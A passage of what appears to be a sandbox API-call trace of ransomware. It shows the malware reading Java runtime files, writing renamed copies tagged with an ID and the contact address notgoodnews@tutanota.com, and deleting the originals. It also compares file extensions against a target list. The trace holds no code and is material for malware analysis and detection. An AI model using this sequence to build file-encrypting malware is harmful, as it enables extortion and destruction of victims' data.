files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.382] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.383] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.383] GetLastError () returned 0x0 [0092.383] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xa12a0, lpOverlapped=0x0) returned 1 [0092.395] WriteFile (in: hFile=0x2f4, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0092.407] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.407] WriteFile (in: hFile=0x2f4, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.407] SetEndOfFile (hFile=0x2f4) returned 1 [0092.407] CloseHandle (hObject=0x2f4) returned 1 [0092.407] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.407] SetEndOfFile (hFile=0x378) returned 1 [0092.413] CloseHandle (hObject=0x378) returned 1 [0092.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.413] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1 [0092.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.413] lstrlenW (lpString=".doc") returned 4 [0092.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".docx") returned 5 [0092.414] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.414] lstrlenW (lpString=".pdf") returned 4 [0092.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".xls") returned 4 [0092.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".xlsx") returned 5 [0092.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.414] lstrlenW (lpString=".ppt") returned 4 [0092.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.414] lstrlenW (lpString=".zip") returned 4 [0092.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".rar") returned 4 [0092.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".bz2") returned 4 [0092.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.414] lstrlenW (lpString=".7z") returned 3 [0092.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.414] lstrlenW (lpString=".dbf") returned 4 [0092.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.414] lstrlenW (lpString=".1cd") returned 4 [0092.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.414] lstrlenW (lpString=".jpg") returned 4 [0092.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.414] lstrlenW (lpString=".doc") returned 4 [0092.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".docx") returned 5 [0092.414] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.415] lstrlenW (lpString=".pdf") returned 4 [0092.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.415] lstrlenW (lpString=".xls") returned 4 [0092.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.415] lstrlenW (lpString=".xlsx") returned 5 [0092.415] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.415] lstrlenW (lpString=".ppt") returned 4 [0092.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.415] lstrlenW (lpString=".zip") returned 4 [0092.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.415] lstrlenW (lpString=".rar") returned 4 [0092.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.415] lstrlenW (lpString=".bz2") returned 4 [0092.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.415] lstrlenW (lpString=".7z") returned 3 [0092.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.415] lstrlenW (lpString=".dbf") returned 4 [0092.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.415] lstrlenW (lpString=".1cd") returned 4 [0092.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0092.415] lstrlenW (lpString=".jpg") returned 4 [0092.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.415] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.415] lstrlenW (lpString="nio.dll") returned 7 [0092.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.416] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=60480) returned 1 [0092.416] CloseHandle (hObject=0x378) returned 1 [0092.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0092.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.739] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.739] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.739] GetLastError () returned 0x0 [0092.739] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xec40, lpOverlapped=0x0) returned 1 [0092.742] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec50, lpOverlapped=0x0) returned 1 [0092.743] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.743] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe2, lpOverlapped=0x0) returned 1 [0092.744] SetEndOfFile (hFile=0x384) returned 1 [0092.744] CloseHandle (hObject=0x384) returned 1 [0092.744] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.744] SetEndOfFile (hFile=0x338) returned 1 [0092.745] CloseHandle (hObject=0x338) returned 1 [0092.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.745] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString=".doc") returned 4 [0092.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString=".docx") returned 5 [0092.746] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0092.746] lstrlenW (lpString=".pdf") returned 4 [0092.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString=".xls") returned 4 [0092.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString=".xlsx") returned 5 [0092.746] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0092.746] lstrlenW (lpString=".ppt") returned 4 [0092.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString=".zip") returned 4 [0092.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString=".rar") returned 4 [0092.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString=".bz2") returned 4 [0092.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.746] lstrlenW (lpString=".7z") returned 3 [0092.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString=".dbf") returned 4 [0092.746] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString=".1cd") returned 4 [0092.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString=".jpg") returned 4 [0092.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.746] lstrlenW (lpString=".doc") returned 4 [0092.747] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.747] lstrlenW (lpString=".docx") returned 5 [0092.747] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0092.747] lstrlenW (lpString=".pdf") returned 4 [0092.747] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.747] lstrlenW (lpString=".xls") returned 4 [0092.747] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.747] lstrlenW (lpString=".xlsx") returned 5 [0092.747] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0092.747] lstrlenW (lpString=".ppt") returned 4 [0092.747] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.747] lstrlenW (lpString=".zip") returned 4 [0092.747] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.747] lstrlenW (lpString=".rar") returned 4 [0092.747] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.747] lstrlenW (lpString=".bz2") returned 4 [0092.747] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.747] lstrlenW (lpString=".7z") returned 3 [0092.747] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.747] lstrlenW (lpString=".dbf") returned 4 [0092.747] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.747] lstrlenW (lpString=".1cd") returned 4 [0092.747] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0092.747] lstrlenW (lpString=".jpg") returned 4 [0092.747] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.747] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0092.747] lstrlenW (lpString="rmid.exe") returned 8 [0092.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.748] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15936) returned 1 [0092.748] CloseHandle (hObject=0x338) returned 1 [0092.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0092.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.748] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.748] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.749] GetLastError () returned 0x0 [0092.749] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0092.750] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0092.751] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.751] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1 [0092.751] SetEndOfFile (hFile=0x384) returned 1 [0092.751] CloseHandle (hObject=0x384) returned 1 [0092.752] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.752] SetEndOfFile (hFile=0x338) returned 1 [0092.752] CloseHandle (hObject=0x338) returned 1 [0092.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.753] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0092.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.753] lstrlenW (lpString=".doc") returned 4 [0092.753] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.753] lstrlenW (lpString=".docx") returned 5 [0092.753] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0092.753] lstrlenW (lpString=".pdf") returned 4 [0092.753] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.753] lstrlenW (lpString=".xls") returned 4 [0092.753] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.753] lstrlenW (lpString=".xlsx") returned 5 [0092.753] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0092.753] lstrlenW (lpString=".ppt") returned 4 [0092.753] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.753] lstrlenW (lpString=".zip") returned 4 [0092.753] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.753] lstrlenW (lpString=".rar") returned 4 [0092.753] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.753] lstrlenW (lpString=".bz2") returned 4 [0092.753] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.753] lstrlenW (lpString=".7z") returned 3 [0092.754] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString=".dbf") returned 4 [0092.754] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString=".1cd") returned 4 [0092.754] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString=".jpg") returned 4 [0092.754] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString=".doc") returned 4 [0092.754] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.754] lstrlenW (lpString=".docx") returned 5 [0092.754] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0092.754] lstrlenW (lpString=".pdf") returned 4 [0092.754] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.754] lstrlenW (lpString=".xls") returned 4 [0092.754] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.754] lstrlenW (lpString=".xlsx") returned 5 [0092.754] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0092.754] lstrlenW (lpString=".ppt") returned 4 [0092.754] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString=".zip") returned 4 [0092.754] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.754] lstrlenW (lpString=".rar") returned 4 [0092.754] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.754] lstrlenW (lpString=".bz2") returned 4 [0092.754] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.754] lstrlenW (lpString=".7z") returned 3 [0092.754] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.754] lstrlenW (lpString=".dbf") returned 4 [0092.754] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.755] lstrlenW (lpString=".1cd") returned 4 [0092.755] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0092.755] lstrlenW (lpString=".jpg") returned 4 [0092.755] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.755] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0092.755] lstrlenW (lpString="rmiregistry.exe") returned 15 [0092.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.756] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=16448) returned 1 [0092.756] CloseHandle (hObject=0x338) returned 1 [0092.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0092.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.756] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.756] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.756] GetLastError () returned 0x0 [0092.756] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4040, lpOverlapped=0x0) returned 1 [0092.758] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4050, lpOverlapped=0x0) returned 1 [0092.759] ReadFile 